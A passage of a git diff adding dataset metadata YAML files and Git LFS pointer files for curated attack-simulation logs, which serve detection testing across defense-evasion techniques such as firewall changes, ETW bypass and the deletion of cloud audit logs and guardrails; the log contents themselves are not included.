a/datasets/attack_techniques/T1562.004/firewall_win_event/modify_rule/MPSSVC_Rule-Level_Policy_Change-4947-4cf6c363-8bf0-47df-941d-dc0a30c9460b.log b/datasets/attack_techniques/T1562.004/firewall_win_event/modify_rule/MPSSVC_Rule-Level_Policy_Change-4947-4cf6c363-8bf0-47df-941d-dc0a30c9460b.log new file mode 100644 index 000000000..4a163d559 --- /dev/null +++ b/datasets/attack_techniques/T1562.004/firewall_win_event/modify_rule/MPSSVC_Rule-Level_Policy_Change-4947-4cf6c363-8bf0-47df-941d-dc0a30c9460b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5ea1e5b07df7c08eaacdc2eee310b91e83738c2b3587976d3c99e8a1df95ed8a +size 792 diff --git a/datasets/attack_techniques/T1562.004/firewall_win_event/modify_rule/firewall_win_event_modify_rule.yml b/datasets/attack_techniques/T1562.004/firewall_win_event/modify_rule/firewall_win_event_modify_rule.yml new file mode 100644 index 000000000..ce2856a4c --- /dev/null +++ b/datasets/attack_techniques/T1562.004/firewall_win_event/modify_rule/firewall_win_event_modify_rule.yml @@ -0,0 +1,12 @@ +author: STRT +id: 4cf6c363-8bf0-47df-941d-dc0a30c9460b +date: '2026-07-11' +description: Curated attack data generated for detection Windows Firewall Rule Modification +environment: attack_range +directory: modify_rule +mitre_technique: [] +datasets: +- name: MPSSVC_Rule-Level_Policy_Change-4947 + path: /datasets/attack_techniques/T1562.004/firewall_win_event/modify_rule/MPSSVC_Rule-Level_Policy_Change-4947-4cf6c363-8bf0-47df-941d-dc0a30c9460b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1562.004/njrat_add_firewall_rule/T1562.004_njrat_add_firewall_rule.yml b/datasets/attack_techniques/T1562.004/njrat_add_firewall_rule/T1562.004_njrat_add_firewall_rule.yml new file mode 100644 index 000000000..37e3eb6dc --- /dev/null +++ b/datasets/attack_techniques/T1562.004/njrat_add_firewall_rule/T1562.004_njrat_add_firewall_rule.yml @@ -0,0 +1,13 @@ +author: STRT +id: edb042c9-1685-47d8-b820-d3e93dfdf83a +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify System Firewall + with Notable Process Path +environment: attack_range +directory: njrat_add_firewall_rule +mitre_technique: [] +datasets: +- name: njrat_firewall_sysmon + path: /datasets/attack_techniques/T1562.004/njrat_add_firewall_rule/njrat_firewall_sysmon-edb042c9-1685-47d8-b820-d3e93dfdf83a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.004/njrat_add_firewall_rule/njrat_firewall_sysmon-edb042c9-1685-47d8-b820-d3e93dfdf83a.log b/datasets/attack_techniques/T1562.004/njrat_add_firewall_rule/njrat_firewall_sysmon-edb042c9-1685-47d8-b820-d3e93dfdf83a.log new file mode 100644 index 000000000..a4b4ab5ff --- /dev/null +++ b/datasets/attack_techniques/T1562.004/njrat_add_firewall_rule/njrat_firewall_sysmon-edb042c9-1685-47d8-b820-d3e93dfdf83a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e6f41b89b21126dd41e690d702805f17819d4adf92803879d1b631073b68561b +size 6361 diff --git a/datasets/attack_techniques/T1562.004/njrat_delete_firewall/T1562.004_njrat_delete_firewall.yml b/datasets/attack_techniques/T1562.004/njrat_delete_firewall/T1562.004_njrat_delete_firewall.yml new file mode 100644 index 000000000..1ae5ab204 --- /dev/null +++ b/datasets/attack_techniques/T1562.004/njrat_delete_firewall/T1562.004_njrat_delete_firewall.yml @@ -0,0 +1,13 @@ +author: STRT +id: 79937d22-341c-4741-bd2b-33a30408deeb +date: '2026-07-11' +description: Curated attack data generated for detection Windows Delete or Modify + System Firewall +environment: attack_range +directory: njrat_delete_firewall +mitre_technique: [] +datasets: +- name: njrat_delete_firewall + path: /datasets/attack_techniques/T1562.004/njrat_delete_firewall/njrat_delete_firewall-79937d22-341c-4741-bd2b-33a30408deeb.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.004/njrat_delete_firewall/njrat_delete_firewall-79937d22-341c-4741-bd2b-33a30408deeb.log b/datasets/attack_techniques/T1562.004/njrat_delete_firewall/njrat_delete_firewall-79937d22-341c-4741-bd2b-33a30408deeb.log new file mode 100644 index 000000000..5dcf07e56 --- /dev/null +++ b/datasets/attack_techniques/T1562.004/njrat_delete_firewall/njrat_delete_firewall-79937d22-341c-4741-bd2b-33a30408deeb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:29d9dbcf300854b1e0e313b9ccd4efddc592734c9fb0e8ca18a366e1423e81f5 +size 2059 diff --git a/datasets/attack_techniques/T1562.006/dotnet_etw_bypass/T1562.006_dotnet_etw_bypass.yml b/datasets/attack_techniques/T1562.006/dotnet_etw_bypass/T1562.006_dotnet_etw_bypass.yml new file mode 100644 index 000000000..17c896c24 --- /dev/null +++ b/datasets/attack_techniques/T1562.006/dotnet_etw_bypass/T1562.006_dotnet_etw_bypass.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9c743bb8-e8d5-4680-8009-3fbeb7ebb06b +date: '2026-07-11' +description: Curated attack data generated for detection Windows Registry Dotnet ETW + Disabled Via ENV Variable +environment: attack_range +directory: dotnet_etw_bypass +mitre_technique: [] +datasets: +- name: dotnet_etw_bypass + path: /datasets/attack_techniques/T1562.006/dotnet_etw_bypass/dotnet_etw_bypass-9c743bb8-e8d5-4680-8009-3fbeb7ebb06b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562.006/dotnet_etw_bypass/dotnet_etw_bypass-9c743bb8-e8d5-4680-8009-3fbeb7ebb06b.log b/datasets/attack_techniques/T1562.006/dotnet_etw_bypass/dotnet_etw_bypass-9c743bb8-e8d5-4680-8009-3fbeb7ebb06b.log new file mode 100644 index 000000000..f269d8883 --- /dev/null +++ b/datasets/attack_techniques/T1562.006/dotnet_etw_bypass/dotnet_etw_bypass-9c743bb8-e8d5-4680-8009-3fbeb7ebb06b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e1e9dc62c25135a12718b969b5711ac6f551eb17746e272b6b0ca9fdb0d9ac19 +size 9811 diff --git a/datasets/attack_techniques/T1562.007/aws_create_acl/T1562.007_aws_create_acl.yml b/datasets/attack_techniques/T1562.007/aws_create_acl/T1562.007_aws_create_acl.yml new file mode 100644 index 000000000..ec7d76396 --- /dev/null +++ b/datasets/attack_techniques/T1562.007/aws_create_acl/T1562.007_aws_create_acl.yml @@ -0,0 +1,17 @@ +author: STRT +id: 33a89768-3f85-4062-b80c-2471fd558988 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS Network Access Control + List Created with All Open Ports +environment: attack_range +directory: aws_create_acl +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1562.007/aws_create_acl/asl_ocsf_cloudtrail-33a89768-3f85-4062-b80c-2471fd558988.log + sourcetype: aws:asl + source: aws_asl +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1562.007/aws_create_acl/aws_cloudtrail_events-33a89768-3f85-4062-b80c-2471fd558988.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1562.007/aws_create_acl/asl_ocsf_cloudtrail-33a89768-3f85-4062-b80c-2471fd558988.log b/datasets/attack_techniques/T1562.007/aws_create_acl/asl_ocsf_cloudtrail-33a89768-3f85-4062-b80c-2471fd558988.log new file mode 100644 index 000000000..86405fc27 --- /dev/null +++ b/datasets/attack_techniques/T1562.007/aws_create_acl/asl_ocsf_cloudtrail-33a89768-3f85-4062-b80c-2471fd558988.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:92a98410b1cd2a359e93ab02e89d2a2100e080c1662c79bac54cf0884149f354 +size 2556 diff --git a/datasets/attack_techniques/T1562.007/aws_create_acl/aws_cloudtrail_events-33a89768-3f85-4062-b80c-2471fd558988.log b/datasets/attack_techniques/T1562.007/aws_create_acl/aws_cloudtrail_events-33a89768-3f85-4062-b80c-2471fd558988.log new file mode 100644 index 000000000..f8a83af8b --- /dev/null +++ b/datasets/attack_techniques/T1562.007/aws_create_acl/aws_cloudtrail_events-33a89768-3f85-4062-b80c-2471fd558988.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2c85fb7c67eca2647bf877b1a28bbe29e3ef4aacc861d8791ffa0758761b25f7 +size 5483 diff --git a/datasets/attack_techniques/T1562.007/aws_delete_acl/T1562.007_aws_delete_acl.yml b/datasets/attack_techniques/T1562.007/aws_delete_acl/T1562.007_aws_delete_acl.yml new file mode 100644 index 000000000..c6dffac3d --- /dev/null +++ b/datasets/attack_techniques/T1562.007/aws_delete_acl/T1562.007_aws_delete_acl.yml @@ -0,0 +1,17 @@ +author: STRT +id: 4fcb871a-596c-4ea0-a4c4-cf01efc0fce3 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS Network Access Control + List Deleted +environment: attack_range +directory: aws_delete_acl +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1562.007/aws_delete_acl/asl_ocsf_cloudtrail-4fcb871a-596c-4ea0-a4c4-cf01efc0fce3.log + sourcetype: aws:asl + source: aws_asl +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1562.007/aws_delete_acl/aws_cloudtrail_events-4fcb871a-596c-4ea0-a4c4-cf01efc0fce3.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1562.007/aws_delete_acl/asl_ocsf_cloudtrail-4fcb871a-596c-4ea0-a4c4-cf01efc0fce3.log b/datasets/attack_techniques/T1562.007/aws_delete_acl/asl_ocsf_cloudtrail-4fcb871a-596c-4ea0-a4c4-cf01efc0fce3.log new file mode 100644 index 000000000..c4aedff3c --- /dev/null +++ b/datasets/attack_techniques/T1562.007/aws_delete_acl/asl_ocsf_cloudtrail-4fcb871a-596c-4ea0-a4c4-cf01efc0fce3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bd943aeea797035118794289394ca36d53e150fb37e3db620f7ffb3b937be7fe +size 2443 diff --git a/datasets/attack_techniques/T1562.007/aws_delete_acl/aws_cloudtrail_events-4fcb871a-596c-4ea0-a4c4-cf01efc0fce3.log b/datasets/attack_techniques/T1562.007/aws_delete_acl/aws_cloudtrail_events-4fcb871a-596c-4ea0-a4c4-cf01efc0fce3.log new file mode 100644 index 000000000..f06b48e5f --- /dev/null +++ b/datasets/attack_techniques/T1562.007/aws_delete_acl/aws_cloudtrail_events-4fcb871a-596c-4ea0-a4c4-cf01efc0fce3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4aac545b47d148377a820a47d4c3618991e613eaa810d1be5299bd32216c35ca +size 5012 diff --git a/datasets/attack_techniques/T1562.007/o365_bypass_mfa_via_trusted_ip/T1562.007_o365_bypass_mfa_via_trusted_ip.yml b/datasets/attack_techniques/T1562.007/o365_bypass_mfa_via_trusted_ip/T1562.007_o365_bypass_mfa_via_trusted_ip.yml new file mode 100644 index 000000000..bb58301d1 --- /dev/null +++ b/datasets/attack_techniques/T1562.007/o365_bypass_mfa_via_trusted_ip/T1562.007_o365_bypass_mfa_via_trusted_ip.yml @@ -0,0 +1,13 @@ +author: STRT +id: bb6ff683-762b-4292-9019-21d2972f6372 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Bypass MFA via Trusted + IP +environment: attack_range +directory: o365_bypass_mfa_via_trusted_ip +mitre_technique: [] +datasets: +- name: o365_bypass_mfa_via_trusted_ip + path: /datasets/attack_techniques/T1562.007/o365_bypass_mfa_via_trusted_ip/o365_bypass_mfa_via_trusted_ip-bb6ff683-762b-4292-9019-21d2972f6372.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1562.007/o365_bypass_mfa_via_trusted_ip/o365_bypass_mfa_via_trusted_ip-bb6ff683-762b-4292-9019-21d2972f6372.log b/datasets/attack_techniques/T1562.007/o365_bypass_mfa_via_trusted_ip/o365_bypass_mfa_via_trusted_ip-bb6ff683-762b-4292-9019-21d2972f6372.log new file mode 100644 index 000000000..a2d53a4fe --- /dev/null +++ b/datasets/attack_techniques/T1562.007/o365_bypass_mfa_via_trusted_ip/o365_bypass_mfa_via_trusted_ip-bb6ff683-762b-4292-9019-21d2972f6372.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:91ce350c256bf822d018c7e27cdd91184dee7abdf7efe4c001387e5e73fa96c3 +size 100613 diff --git a/datasets/attack_techniques/T1562.008/aws_bedrock_delete_guardrails/T1562.008_aws_bedrock_delete_guardrails.yml b/datasets/attack_techniques/T1562.008/aws_bedrock_delete_guardrails/T1562.008_aws_bedrock_delete_guardrails.yml new file mode 100644 index 000000000..c305fea50 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/aws_bedrock_delete_guardrails/T1562.008_aws_bedrock_delete_guardrails.yml @@ -0,0 +1,12 @@ +author: STRT +id: c8f08900-acfb-493a-9655-a8312814c56b +date: '2026-07-10' +description: Curated attack data generated for detection AWS Bedrock Delete GuardRails +environment: attack_range +directory: aws_bedrock_delete_guardrails +mitre_technique: [] +datasets: +- name: cloudtrail + path: /datasets/attack_techniques/T1562.008/aws_bedrock_delete_guardrails/cloudtrail-c8f08900-acfb-493a-9655-a8312814c56b.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1562.008/aws_bedrock_delete_guardrails/cloudtrail-c8f08900-acfb-493a-9655-a8312814c56b.log b/datasets/attack_techniques/T1562.008/aws_bedrock_delete_guardrails/cloudtrail-c8f08900-acfb-493a-9655-a8312814c56b.log new file mode 100644 index 000000000..0fb0ccd5b --- /dev/null +++ b/datasets/attack_techniques/T1562.008/aws_bedrock_delete_guardrails/cloudtrail-c8f08900-acfb-493a-9655-a8312814c56b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1be4d154895f9603b84523012de54866490c85f7d43e29cd34115e2d0589769c +size 1547 diff --git a/datasets/attack_techniques/T1562.008/aws_bedrock_delete_model_invocation_logging/T1562.008_aws_bedrock_delete_model_invocation_logging.yml b/datasets/attack_techniques/T1562.008/aws_bedrock_delete_model_invocation_logging/T1562.008_aws_bedrock_delete_model_invocation_logging.yml new file mode 100644 index 000000000..9ef807186 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/aws_bedrock_delete_model_invocation_logging/T1562.008_aws_bedrock_delete_model_invocation_logging.yml @@ -0,0 +1,13 @@ +author: STRT +id: b289488c-321b-4ed5-8fcf-f628be8566b3 +date: '2026-07-10' +description: Curated attack data generated for detection AWS Bedrock Delete Model + Invocation Logging Configuration +environment: attack_range +directory: aws_bedrock_delete_model_invocation_logging +mitre_technique: [] +datasets: +- name: cloudtrail + path: /datasets/attack_techniques/T1562.008/aws_bedrock_delete_model_invocation_logging/cloudtrail-b289488c-321b-4ed5-8fcf-f628be8566b3.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1562.008/aws_bedrock_delete_model_invocation_logging/cloudtrail-b289488c-321b-4ed5-8fcf-f628be8566b3.log b/datasets/attack_techniques/T1562.008/aws_bedrock_delete_model_invocation_logging/cloudtrail-b289488c-321b-4ed5-8fcf-f628be8566b3.log new file mode 100644 index 000000000..b6b42ab3e --- /dev/null +++ b/datasets/attack_techniques/T1562.008/aws_bedrock_delete_model_invocation_logging/cloudtrail-b289488c-321b-4ed5-8fcf-f628be8566b3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:565432291528702c6ea5b17d5a0d26208cdb1dc6e557b2bdb2087e46cd36bd71 +size 1411 diff --git a/datasets/attack_techniques/T1562.008/aws_delete_security_services/T1562.008_aws_delete_security_services.yml b/datasets/attack_techniques/T1562.008/aws_delete_security_services/T1562.008_aws_delete_security_services.yml new file mode 100644 index 000000000..b0f6c782f --- /dev/null +++ b/datasets/attack_techniques/T1562.008/aws_delete_security_services/T1562.008_aws_delete_security_services.yml @@ -0,0 +1,17 @@ +author: STRT +id: 0ed5b81c-61ab-4c84-a1ff-dd7307285fde +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS Defense Evasion Impair + Security Services +environment: attack_range +directory: aws_delete_security_services +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1562.008/aws_delete_security_services/asl_ocsf_cloudtrail-0ed5b81c-61ab-4c84-a1ff-dd7307285fde.log + sourcetype: aws:asl + source: aws_asl +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1562.008/aws_delete_security_services/aws_cloudtrail_events-0ed5b81c-61ab-4c84-a1ff-dd7307285fde.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1562.008/aws_delete_security_services/asl_ocsf_cloudtrail-0ed5b81c-61ab-4c84-a1ff-dd7307285fde.log b/datasets/attack_techniques/T1562.008/aws_delete_security_services/asl_ocsf_cloudtrail-0ed5b81c-61ab-4c84-a1ff-dd7307285fde.log new file mode 100644 index 000000000..9e559ca62 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/aws_delete_security_services/asl_ocsf_cloudtrail-0ed5b81c-61ab-4c84-a1ff-dd7307285fde.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f1fe5bf10e485ba2a28ba03c9a8395b0e674449bc25deb571a2708e8691dbe42 +size 2132 diff --git a/datasets/attack_techniques/T1562.008/aws_delete_security_services/aws_cloudtrail_events-0ed5b81c-61ab-4c84-a1ff-dd7307285fde.log b/datasets/attack_techniques/T1562.008/aws_delete_security_services/aws_cloudtrail_events-0ed5b81c-61ab-4c84-a1ff-dd7307285fde.log new file mode 100644 index 000000000..f6dfe8f02 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/aws_delete_security_services/aws_cloudtrail_events-0ed5b81c-61ab-4c84-a1ff-dd7307285fde.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4fc1816f6b54f5c0261695a6f2063219a8d3352526f3b06730d68b6a0844d37f +size 7720 diff --git a/datasets/attack_techniques/T1562.008/delete_cloudwatch_log_group/T1562.008_delete_cloudwatch_log_group.yml b/datasets/attack_techniques/T1562.008/delete_cloudwatch_log_group/T1562.008_delete_cloudwatch_log_group.yml new file mode 100644 index 000000000..c49793b13 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/delete_cloudwatch_log_group/T1562.008_delete_cloudwatch_log_group.yml @@ -0,0 +1,17 @@ +author: STRT +id: 2660c066-aaf9-439f-8e31-33a538aca6b2 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS Defense Evasion Delete + CloudWatch Log Group +environment: attack_range +directory: delete_cloudwatch_log_group +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1562.008/delete_cloudwatch_log_group/asl_ocsf_cloudtrail-2660c066-aaf9-439f-8e31-33a538aca6b2.log + sourcetype: aws:asl + source: aws_asl +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1562.008/delete_cloudwatch_log_group/aws_cloudtrail_events-2660c066-aaf9-439f-8e31-33a538aca6b2.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1562.008/delete_cloudwatch_log_group/asl_ocsf_cloudtrail-2660c066-aaf9-439f-8e31-33a538aca6b2.log b/datasets/attack_techniques/T1562.008/delete_cloudwatch_log_group/asl_ocsf_cloudtrail-2660c066-aaf9-439f-8e31-33a538aca6b2.log new file mode 100644 index 000000000..686102b60 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/delete_cloudwatch_log_group/asl_ocsf_cloudtrail-2660c066-aaf9-439f-8e31-33a538aca6b2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:91eaeef123f2263a10daf3351bfbec35858c5c841f7e0940ab95dcc9c8c7130b +size 2104 diff --git a/datasets/attack_techniques/T1562.008/delete_cloudwatch_log_group/aws_cloudtrail_events-2660c066-aaf9-439f-8e31-33a538aca6b2.log b/datasets/attack_techniques/T1562.008/delete_cloudwatch_log_group/aws_cloudtrail_events-2660c066-aaf9-439f-8e31-33a538aca6b2.log new file mode 100644 index 000000000..17f8dad9d --- /dev/null +++ b/datasets/attack_techniques/T1562.008/delete_cloudwatch_log_group/aws_cloudtrail_events-2660c066-aaf9-439f-8e31-33a538aca6b2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:47f6dfaf04ec26c1b0cdc8336c4d690e00855890984ecb7dbfcbc3cfb504f771 +size 1033 diff --git a/datasets/attack_techniques/T1562.008/github_audit_log_stream_disabled/T1562.008_github_audit_log_stream_disabled.yml b/datasets/attack_techniques/T1562.008/github_audit_log_stream_disabled/T1562.008_github_audit_log_stream_disabled.yml new file mode 100644 index 000000000..12dc33166 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/github_audit_log_stream_disabled/T1562.008_github_audit_log_stream_disabled.yml @@ -0,0 +1,13 @@ +author: STRT +id: a0d060ce-aea3-44ad-8bfb-0695340572cd +date: '2026-07-10' +description: Curated attack data generated for detection GitHub Enterprise Disable + Audit Log Event Stream +environment: attack_range +directory: github_audit_log_stream_disabled +mitre_technique: [] +datasets: +- name: github + path: /datasets/attack_techniques/T1562.008/github_audit_log_stream_disabled/github-a0d060ce-aea3-44ad-8bfb-0695340572cd.log + sourcetype: httpevent + source: http:github diff --git a/datasets/attack_techniques/T1562.008/github_audit_log_stream_disabled/github-a0d060ce-aea3-44ad-8bfb-0695340572cd.log b/datasets/attack_techniques/T1562.008/github_audit_log_stream_disabled/github-a0d060ce-aea3-44ad-8bfb-0695340572cd.log new file mode 100644 index 000000000..d32eafc66 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/github_audit_log_stream_disabled/github-a0d060ce-aea3-44ad-8bfb-0695340572cd.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:20348499251f61ded67ad724efe0e59d3937af1d970438afc9a3bed0e2dc301f +size 607 diff --git a/datasets/attack_techniques/T1562.008/github_audit_log_stream_modified/T1562.008_github_audit_log_stream_modified.yml b/datasets/attack_techniques/T1562.008/github_audit_log_stream_modified/T1562.008_github_audit_log_stream_modified.yml new file mode 100644 index 000000000..c60c6fc68 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/github_audit_log_stream_modified/T1562.008_github_audit_log_stream_modified.yml @@ -0,0 +1,13 @@ +author: STRT +id: 729db453-f7b4-4931-88fd-fac437edad97 +date: '2026-07-10' +description: Curated attack data generated for detection GitHub Enterprise Modify + Audit Log Event Stream +environment: attack_range +directory: github_audit_log_stream_modified +mitre_technique: [] +datasets: +- name: github + path: /datasets/attack_techniques/T1562.008/github_audit_log_stream_modified/github-729db453-f7b4-4931-88fd-fac437edad97.log + sourcetype: httpevent + source: http:github diff --git a/datasets/attack_techniques/T1562.008/github_audit_log_stream_modified/github-729db453-f7b4-4931-88fd-fac437edad97.log b/datasets/attack_techniques/T1562.008/github_audit_log_stream_modified/github-729db453-f7b4-4931-88fd-fac437edad97.log new file mode 100644 index 000000000..4dd7d5aa3 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/github_audit_log_stream_modified/github-729db453-f7b4-4931-88fd-fac437edad97.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:eb1c3c4b6f563a2eb3df3b63b6b72e9e943fdf43336e0a25e888bf5ecbec74d4 +size 671 diff --git a/datasets/attack_techniques/T1562.008/o365_advanced_audit_disabled/T1562.008_o365_advanced_audit_disabled.yml b/datasets/attack_techniques/T1562.008/o365_advanced_audit_disabled/T1562.008_o365_advanced_audit_disabled.yml new file mode 100644 index 000000000..e0999827d --- /dev/null +++ b/datasets/attack_techniques/T1562.008/o365_advanced_audit_disabled/T1562.008_o365_advanced_audit_disabled.yml @@ -0,0 +1,12 @@ +author: STRT +id: 23e2f276-e1aa-43e3-a8f8-917a0c40dede +date: '2026-07-10' +description: Curated attack data generated for detection O365 Advanced Audit Disabled +environment: attack_range +directory: o365_advanced_audit_disabled +mitre_technique: [] +datasets: +- name: o365_advanced_audit_disabled + path: /datasets/attack_techniques/T1562.008/o365_advanced_audit_disabled/o365_advanced_audit_disabled-23e2f276-e1aa-43e3-a8f8-917a0c40dede.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1562.008/o365_advanced_audit_disabled/o365_advanced_audit_disabled-23e2f276-e1aa-43e3-a8f8-917a0c40dede.log b/datasets/attack_techniques/T1562.008/o365_advanced_audit_disabled/o365_advanced_audit_disabled-23e2f276-e1aa-43e3-a8f8-917a0c40dede.log new file mode 100644 index 000000000..76c8f0ef2 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/o365_advanced_audit_disabled/o365_advanced_audit_disabled-23e2f276-e1aa-43e3-a8f8-917a0c40dede.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9302326853a710f74527805fa5d86e6a13161b99e863495b439e4dab4c9d1323 +size 16207 diff --git a/datasets/attack_techniques/T1562.008/put_bucketlifecycle/T1562.008_put_bucketlifecycle.yml b/datasets/attack_techniques/T1562.008/put_bucketlifecycle/T1562.008_put_bucketlifecycle.yml new file mode 100644 index 000000000..140b4bb6d --- /dev/null +++ b/datasets/attack_techniques/T1562.008/put_bucketlifecycle/T1562.008_put_bucketlifecycle.yml @@ -0,0 +1,16 @@ +author: STRT +id: 3d4e5eb4-7780-41ee-8401-32434cb7ed55 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS Defense Evasion PutBucketLifecycle +environment: attack_range +directory: put_bucketlifecycle +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1562.008/put_bucketlifecycle/asl_ocsf_cloudtrail-3d4e5eb4-7780-41ee-8401-32434cb7ed55.log + sourcetype: aws:asl + source: aws_asl +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1562.008/put_bucketlifecycle/aws_cloudtrail_events-3d4e5eb4-7780-41ee-8401-32434cb7ed55.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1562.008/put_bucketlifecycle/asl_ocsf_cloudtrail-3d4e5eb4-7780-41ee-8401-32434cb7ed55.log b/datasets/attack_techniques/T1562.008/put_bucketlifecycle/asl_ocsf_cloudtrail-3d4e5eb4-7780-41ee-8401-32434cb7ed55.log new file mode 100644 index 000000000..dd9da4c0a --- /dev/null +++ b/datasets/attack_techniques/T1562.008/put_bucketlifecycle/asl_ocsf_cloudtrail-3d4e5eb4-7780-41ee-8401-32434cb7ed55.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:193e36685ea260c2bd765d738c2cf9e47f34ff84b42105d420c7311f7cfb77ed +size 3124 diff --git a/datasets/attack_techniques/T1562.008/put_bucketlifecycle/aws_cloudtrail_events-3d4e5eb4-7780-41ee-8401-32434cb7ed55.log b/datasets/attack_techniques/T1562.008/put_bucketlifecycle/aws_cloudtrail_events-3d4e5eb4-7780-41ee-8401-32434cb7ed55.log new file mode 100644 index 000000000..f8ec0d923 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/put_bucketlifecycle/aws_cloudtrail_events-3d4e5eb4-7780-41ee-8401-32434cb7ed55.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f4d0632481f66a28ddd45304ac6123ad159b9685aed25c79b254304c54142212 +size 3440 diff --git a/datasets/attack_techniques/T1562.008/stop_delete_cloudtrail/T1562.008_stop_delete_cloudtrail.yml b/datasets/attack_techniques/T1562.008/stop_delete_cloudtrail/T1562.008_stop_delete_cloudtrail.yml new file mode 100644 index 000000000..a7a641fa7 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/stop_delete_cloudtrail/T1562.008_stop_delete_cloudtrail.yml @@ -0,0 +1,21 @@ +author: STRT +id: 760be82f-f921-4c51-be8b-aa917254efd4 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS Defense Evasion Delete + Cloudtrail +environment: attack_range +directory: stop_delete_cloudtrail +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1562.008/stop_delete_cloudtrail/asl_ocsf_cloudtrail-760be82f-f921-4c51-be8b-aa917254efd4.log + sourcetype: aws:asl + source: aws_asl +- name: asl_ocsf_cloudtrail_2 + path: /datasets/attack_techniques/T1562.008/stop_delete_cloudtrail/asl_ocsf_cloudtrail_2-760be82f-f921-4c51-be8b-aa917254efd4.log + sourcetype: aws:asl + source: aws_asl +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1562.008/stop_delete_cloudtrail/aws_cloudtrail_events-760be82f-f921-4c51-be8b-aa917254efd4.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git 